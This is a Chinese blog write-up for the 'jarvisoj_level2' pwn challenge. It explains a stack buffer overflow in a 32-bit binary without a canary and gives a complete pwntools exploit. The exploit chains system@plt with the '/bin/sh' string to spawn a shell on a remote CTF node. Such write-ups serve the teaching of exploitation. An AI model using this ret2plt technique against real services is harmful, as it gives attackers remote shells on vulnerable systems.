当前位置:网站首页>jarvisoj_level2
jarvisoj_level2
2022-06-24 06:43:00 【[mzq]】
jarvisoj_level2

32位没有开canary 然后程序的read函数有溢出 可以执行栈溢出操作
main函数 这个调用了system 函数所以plt表中是有system的地址的

vulnerable function函数 read发生溢出 &buf 栈上只有0x88,然而却读入了0x100
,造成我们可以覆盖栈上ebp return address 的值.


exp
from pwn import *
#io = process("./level2")
io = remote("node4.buuoj.cn",27209)
elf = ELF("./level2")
context(log_level="debug",arch="i386")
system_plt = elf.plt["system"]
binsh = next(elf.search("/bin/sh"))
payload = flat(["a"*0x88,"iebp",system_plt,0,binsh])
io.sendline(payload)
io.interactive()

边栏推荐
- Tencent host security captures Yapi remote code execution 0day vulnerability for wild exploitation. The attack is spreading and can be intercepted by firewall
- Are internal consultants and external consultants in SAP implementation projects difficult or successful? [English version]
- buuctf misc 从娃娃抓起
- 【Proteus】Arduino UNO + DS1307+LCD1602时间显示
- 毕业季进击的技术
- Kaseya of the United States was attacked by hackers, and 1500 downstream enterprises were damaged. How can small and medium-sized enterprises prevent extortion virus?
- [problem solving] the connection to the server localhost:8080 was referred
- [WordPress website] 6 Article content copy prevention
- 电脑如何打开软键盘,教大家Win10如何打开软键盘的方法
- 前缀和专题训练
猜你喜欢

【均衡器】LS均衡器,DEF均衡器以及LMMSE均衡器的误码率性能对比仿真

【Proteus】Arduino UNO + DS1307+LCD1602时间显示

基因检测,如何帮助患者对抗疾病?

FreeRTOS MPU makes the system more robust!

【小技巧】使用matlab的深度学习工具箱deepNetworkDesigner快速设计

In the middle of the year, I have prepared a small number of automated interview questions. Welcome to the self-test
![[OGeek2019]babyrop](/img/74/5f93dcee9ea5a562a7fba5c17aab76.png)
[OGeek2019]babyrop

现货黄金有哪些眩人的小技术?

超宽带脉冲定位方案,UWB精准定位技术,无线室内定位应用

RDD基础知识点
随机推荐
Precipitation of architecture design methodology
JVM調試工具-Arthas
JVM调试工具-jstack
现货黄金有哪些值得借鉴的心态
Maui uses Masa blazor component library
Graduation season advance technology
大厂不是衡量能力的唯一出路,上财学姐毕业三年的经验分享
Leetcode probability interview shock series 11~15
Audio knowledge (V) -- data processing
buuctf misc [UTCTF2020]docx
Summary of 2022 blue team HW elementary interview questions
【帧率倍频】基于FPGA的视频帧率倍频系统verilog开发实现
Computing power and intelligence of robot fog
Muxvlan principle, Huawei MUX VLAN experimental configuration
【图像特征提取】基于脉冲耦合神经网络(PCNN)实现图像特征提取含Matlab源码
PCL calculates the area of a polygon
JVM debugging tool -jps
Win11怎么设置让CPU性能全开?Win11CPU怎么设置高性能模式?
【图像分割】基于形态学实现视网膜血管分割附matlab代码
Spark project Packaging Optimization Practice